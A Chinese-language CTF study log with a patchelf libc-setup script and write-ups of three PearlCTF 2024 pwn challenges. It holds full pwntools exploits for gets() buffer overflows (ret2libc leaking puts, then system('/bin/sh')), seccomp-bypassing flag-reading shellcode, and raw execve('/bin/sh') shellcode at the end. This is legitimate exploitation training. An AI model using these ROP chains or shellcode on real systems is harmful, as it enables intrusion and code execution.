本周学习总结
全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。
一、更方便的设置题目的libc
需要提前准备好patchelf和glibc-all-in-one。
通过linux支持的sh脚本来创建一个全局可调用的可交互且方便的设置题目libc的方法。
在使用这个脚本之前你需要对脚本的路径做出合适的修改,默认应该将glibc-all-in-one放在当前用户的家目录下,如果是root用户就需要将/home/你的用户名/改为/root/
1 2 3 4 5 6 7
| #!/bin/bash echo "Available ld versions in /home/你的用户名/glibc-all-in-one/libs:" ls /home/你的用户名/glibc-all-in-one/libs read -p "Enter ld version (e.g. 2.35-0ubuntu3_amd64): " ld_version read -p "Enter binary path (e.g. ./bin): " binary_path patchelf --set-interpreter "/home/你的用户名/glibc-all-in-one/libs/${ld_version}/ld-linux-x86-64.so.2" "${binary_path}" patchelf --set-rpath "/home/你的用户名/glibc-all-in-one/libs/${ld_version}/" "${binary_path}"
|
对脚本完成编辑保存后为脚本添加可执行权限:
sudo chmod +x 你的脚本名
将脚本移动到 /usr/local/bin/目录下就可以在全局调用此脚本了。

二、[Easy]–[Pearlctf2024]adventure
下载得到文件adventure
check!

只开了NX保护。
ida,启动!
该程序是一个文字冒险游戏,篇幅长,这里直接展示漏洞点:

gets无限溢出,构造两次ROP来暴露libc地址和跳转执行流执行system就可以了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = process("./adventure") elf = ELF("./adventure")
sela(b"choice: ", stre(2)) sela(b"2. No\n", stre(1))
pop_rdi = 0x40121e main_addr = 0x401702
payload = b"A" * 0x28 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(main_addr)
sela(b"name\n", payload) rel() rel()
puts_real = raddr64() ph(puts_real, "puts_real") rel()
libc_base = puts_real - 0x084ed0 ph(libc_base, "libc_base")
sys_addr = libc_base + 0x054d60 bin_addr = libc_base + 0x1dc698
sela(b"choice: ", stre(2)) sela(b"2. No\n", stre(1))
ret = 0x40101a payload = b"A" * 0x28 + p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr) sela(b"name\n", payload) op()
|
远程环境关闭。。。
三、[Easy]–[Pearlctf2024]goingBack
下载得到文件goingBack
check!

只开启了NX。
ida,启动!
程序似乎是一个旅游表格生成系统,篇幅长,这里直接展示漏洞:

这里有个gets无限溢出,这题和adventure不一样的地方在于他不能让执行流返回到main,我们可以选择返回到start。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("dyn.ctf.pearlctf.in", 30011)
elf = ELF("./goingBack")
main_addr = 0x401343 pop_rdi = 0x401265 ret = 0x40101a
payload = b"zlsf" sela(b"First Name: ", payload) sela(b"Last Name: ", b"zlsf") sela(b"Age: ", stre(18)) sela(b"Bangalore\n", b"Bangalore") sela(b"(1/0): ", stre(1)) sela(b"5:", stre(1))
payload = b"A" * 0x28 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(0x401130) sela(b"experience\n", payload)
puts_real = raddr64() ph(puts_real, "puts_real")
libc_base = puts_real - 0x084ed0 ph(libc_base, "libc_base")
sys_addr = libc_base + 0x054d60 bin_addr = libc_base + 0x1dc698
payload = b"zlsf" sela(b"First Name: ", payload) sela(b"Last Name: ", b"zlsf") sela(b"Age: ", stre(18)) sela(b"Bangalore\n", b"Bangalore") sela(b"(1/0): ", stre(1)) sela(b"5:", stre(1))
payload = b"A" * 0x28 + p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr) sela(b"experience\n", payload) op()
|
远程环境关闭。。。
四、[Easy]–[Pearlctf2024]flag-finder
下载得到文件flag-finder
Check!

NX开启。
ida,启动!
main:


sub_4012FD:

沙盒规则:

只允许使用write。
代码似乎略有一点复杂,我们现在大概只知道程序读取了flag到内存当中,且程序中有两段可执行内存。
我们尝试使用gdb分析程序功能:

在程序流跳转到我们可控的可执行内存地址时,此时flag在rsp+0x18的位置,我们考虑在shellcode中将rsp向上移动0x18,如何通过调用write将flag输出。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
context.arch = 'amd64' context.os = 'linux'
p = process("./flag-finder")
payload = asm(''' add rsp, 0x18 mov rdi, 1 mov rsi, rsp mov rdx, 0x30 mov rax, 1 syscall ''') print(hex(len(payload)))
sela(b"plan?\n > ", payload) op()
|
远程环境关闭。。。
下周学习计划
| 应该要做的事情 |
向深推进堆攻击
学习感受
1 2 3 4 5 6 7 8 9 10 11 12 13
| mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
|